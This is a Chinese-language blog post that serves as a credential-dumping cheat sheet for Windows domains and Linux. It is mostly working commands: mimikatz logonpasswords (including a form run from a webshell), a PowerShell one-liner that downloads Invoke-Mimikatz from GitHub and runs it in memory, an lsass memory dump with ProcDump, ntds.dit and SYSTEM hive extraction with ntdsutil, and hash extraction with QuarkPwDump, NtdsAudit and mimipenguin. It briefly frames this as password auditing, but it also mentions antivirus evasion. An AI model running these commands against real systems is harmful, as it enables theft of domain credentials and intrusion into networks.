抓取 Windows 用户或者域用户 hash 的多种姿势

抓取 Windows 用户或者域用户 hash 的多种姿势

Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。

执行密码安全审核所需的主要步骤是获取包含信息的文件,从文件中转储密码哈希值,然后使用密码破解程序测试弱密码的这些哈希值。

通过获取Ntds.dit和SYSTEM文件的副本,最可靠的执行密码审计的方法是脱机的。由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。

  • 使用mimikatz本机测试直接获取内存中的明文密码

  • mimikatz 只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀

    1
    2
    privilege::debug
    sekurlsa::logonpasswords
  • 非交互式抓明文密码(webshell中)

    1
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > password.txt
  • powershell加载mimikatz抓取密码

    1
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
  • ProcDump + Mimikatz

==ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如目标08的,本地就要用08系统来分析)==

远程主机:

1
2
Procdump.exe -accepteula -ma lsass.exe c:\a.dmp    
或者任务管理器找到lsass.exe进程右键创建转储文件

本地主机:mimikatz

1
2
sekurlsa::minidump a.dmp
sekurlsa::logonpasswords full
  • ntds.dit 的导出

ntdsutil win2008开始DC中自带的工具
交互式

1
2
3
4
5
6
7
8
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再执行
unmout [GUID]
del [GUID]

非交互

1
2
3
4
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

在线提取(直接在目标主机执行,实战中不选择此方式。)

1
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit

离线提取 需要两个文件 ntds.dit 和 system.hive , 其中system.hive可通过reg save hklm\system system.hive获取

1
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive >c:\hash.txt
  • WINDOWS SERVER 2008-2016
    1
    2
    3
    4
    5
    6
    C:\> ntdsutil
    ntdsutil: activate instance ntds
    ntdsutil: ifm
    ifm: create full c:\audit
    ifm: quit
    ntdsutil: quit

解出ntds的hash

1
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv

NtdsAudit.exe下载地址

NtdsAudit需要ntds.dit Active Directory数据库,SYSTEM 如果转储密码哈希,则需要注册表配置单元。这些文件由域控制器锁定,因此无法简单地复制和粘贴。从域控制器获取这些文件的推荐方法是使用内置ntdsutil实用程序。

  • 以管理员身份打开命令提示符(cmd.exe)。要以管理员身份打开命令提示符,请单击“启动”。在“开始搜索”中,键入命令提示符。在“开始”菜单的顶部,右键单击“命令提示符”,然后单击“以管理员身份运行”。如果出现“用户帐户控制”对话框,请输入相应的凭据(如果已请求)并确认其显示的操作是您所需的操作,然后单击“继续”。

  • 在命令提示符下,键入以下命令,然后按ENTER键:

1
ntdsutil
  • 在ntdsutil提示符下,键入以下命令,然后按Enter:
1
activate instance ntds
  • 在ntdsutil提示符下,键入以下命令,然后按Enter:
1
ifm
  • 在ifm提示符下,键入以下命令,然后按Enter:
1
create full <Drive>:\<Folder>

<Drive>:\<Folder> 是要创建的文件的文件夹路径。

例如,以下命令将显示统计信息,输出pwdump.txt包含密码哈希值的文件,并输出users.csv包含每个用户帐户详细信息的文件。

1
ntdsaudit ntds.dit -s SYSTEM -p pwdump.txt -u users.csv

Linux 明文密码的获取

mimipenguin

git clone https://github.com/huntergregal/mimipenguin

支持的操作系统

os service supported
Ubuntu Desktop 12.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Ubuntu Desktop 16.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Fedora Workstation 25 (x86_64) gnome-keyring-daemon (3.20.0) Y
Fedora Workstation 27 (x86_64) gnome-keyring-daemon (3.20.1) Y
Kali-rolling x64 gnome-keyring-daemon (3.28.0.2) Y
士不可以不弘毅,任重而道远。仁以为己任,不亦重乎?死而后已,不亦远乎?

本文标题:抓取 Windows 用户或者域用户 hash 的多种姿势

文章作者:yaron

发布时间:2018年10月18日 - 22:45:02

最后更新:2019年02月26日 - 23:19:24

原文链接:https://yaalonsong.github.io/2018/10/18/抓hash.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。